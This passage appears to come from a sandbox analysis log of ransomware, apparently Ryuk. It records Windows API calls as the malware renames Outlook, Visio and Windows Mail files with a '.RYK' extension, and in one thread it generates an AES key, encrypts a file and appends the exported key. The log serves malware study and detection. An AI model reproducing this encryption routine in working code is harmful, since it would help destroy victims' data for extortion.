	[0251.749] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\mapisvc.inf", dwFileAttributes=0x80) returned 0
	[0251.749] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\mapisvc.inf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\mapisvc.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.749] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.749] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\mapisvc.inf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\mapisvc.inf"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\mapisvc.inf.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\mapisvc.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3099
	os_tid = 0x3660

	[0252.125] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\Outlook.sharing.xml.obi", dwFileAttributes=0x80) returned 0
	[0252.125] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\Outlook.sharing.xml.obi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\outlook.sharing.xml.obi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.126] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.126] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\Outlook.sharing.xml.obi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\outlook.sharing.xml.obi"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\Outlook.sharing.xml.obi.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\outlook.sharing.xml.obi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3179
	os_tid = 0x37a8

	[0252.449] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content14.dat", dwFileAttributes=0x80) returned 0
	[0252.450] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content14.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\content14.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.450] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.450] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content14.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\content14.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content14.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\content14.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3180
	os_tid = 0x37ac

	[0252.451] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\thumbs.dat", dwFileAttributes=0x80) returned 1
	[0252.451] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\thumbs.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\thumbs.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x584
	[0252.452] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x8d2fcf8 | out: lpFileSize=0x8d2fcf8*=128000) returned 1
	[0252.452] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x8d2fd08 | out: lpFileSize=0x8d2fd08*=128000) returned 1
	[0252.452] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x1f2de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0252.452] ReadFile (in: hFile=0x584, lpBuffer=0x8d2fd50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8d2fcc0, lpOverlapped=0x0 | out: lpBuffer=0x8d2fd50*, lpNumberOfBytesRead=0x8d2fcc0*=0x19, lpOverlapped=0x0) returned 1
	[0252.455] SetFilePointer (in: hFile=0x584, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0252.455] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x8d2fcd8 | out: phKey=0x8d2fcd8*=0x3f7d20) returned 1
	[0252.455] SetFilePointer (in: hFile=0x584, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0252.455] ReadFile (in: hFile=0x584, lpBuffer=0x2b00000, nNumberOfBytesToRead=0x1f400, lpNumberOfBytesRead=0x8d2fce4, lpOverlapped=0x0 | out: lpBuffer=0x2b00000*, lpNumberOfBytesRead=0x8d2fce4*=0x1f400, lpOverlapped=0x0) returned 1
	[0252.457] CryptEncrypt (in: hKey=0x3f7d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8d2fce0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8d2fce0*=0xf4250) returned 1
	[0252.457] CryptEncrypt (in: hKey=0x3f7d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b00000*, pdwDataLen=0x8d2fce8*=0x1f400, dwBufLen=0xf4250 | out: pbData=0x2b00000*, pdwDataLen=0x8d2fce8*=0x1f410) returned 1
	[0252.459] SetFilePointer (in: hFile=0x584, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0252.459] WriteFile (in: hFile=0x584, lpBuffer=0x2b00000*, nNumberOfBytesToWrite=0x1f410, lpNumberOfBytesWritten=0x8d2fce4, lpOverlapped=0x0 | out: lpBuffer=0x2b00000*, lpNumberOfBytesWritten=0x8d2fce4*=0x1f410, lpOverlapped=0x0) returned 1
	[0252.460] WriteFile (in: hFile=0x584, lpBuffer=0x8d2fd10*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8d2fcf0, lpOverlapped=0x0 | out: lpBuffer=0x8d2fd10*, lpNumberOfBytesWritten=0x8d2fcf0*=0x6, lpOverlapped=0x0) returned 1
	[0252.460] CryptExportKey (in: hKey=0x3f7d20, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8d2fd00 | out: pbData=0x0*, pdwDataLen=0x8d2fd00*=0x10c) returned 1
	[0252.460] CryptExportKey (in: hKey=0x3f7d20, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x8d2fd70, pdwDataLen=0x8d2fd00 | out: pbData=0x8d2fd70*, pdwDataLen=0x8d2fd00*=0x10c) returned 1
	[0252.460] WriteFile (in: hFile=0x584, lpBuffer=0x8d2fd70*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8d2fcf0, lpOverlapped=0x0 | out: lpBuffer=0x8d2fd70*, lpNumberOfBytesWritten=0x8d2fcf0*=0x10c, lpOverlapped=0x0) returned 1
	[0252.460] CloseHandle (hObject=0x584) returned 1
	[0252.463] CryptDestroyKey (hKey=0x3f7d20) returned 1
	[0252.463] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\thumbs.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\thumbs.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\thumbs.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\thumbs.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3231
	os_tid = 0x383c

	[0253.069] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", dwFileAttributes=0x80) returned 0
	[0253.069] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.069] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.069] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3232
	os_tid = 0x3840

	[0253.070] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", dwFileAttributes=0x80) returned 0
	[0253.070] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.070] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.070] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3233
	os_tid = 0x3844

	[0253.071] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", dwFileAttributes=0x80) returned 0
	[0253.072] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.072] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.072] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3234
	os_tid = 0x3848

	[0253.073] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.chk", dwFileAttributes=0x80) returned 0
	[0253.073] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.chk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.073] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.073] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.chk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.chk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.chk.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.chk.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3235
	os_tid = 0x384c

	[0253.074] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.log", dwFileAttributes=0x80) returned 0
	[0253.074] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.074] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.074] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.log"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.log.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.log.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3236
	os_tid = 0x3850

	[0253.075] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb00001.log", dwFileAttributes=0x80) returned 0
	[0253.075] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb00001.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.075] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.076] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb00001.log"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb00001.log.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb00001.log.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3237
	os_tid = 0x3854

	[0253.077] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00001.jrs", dwFileAttributes=0x80) returned 0
	[0253.077] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00001.jrs" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00001.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.077] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.077] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00001.jrs" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00001.jrs"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00001.jrs.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00001.jrs.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3238
	os_tid = 0x3858

	[0253.078] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00002.jrs", dwFileAttributes=0x80) returned 0
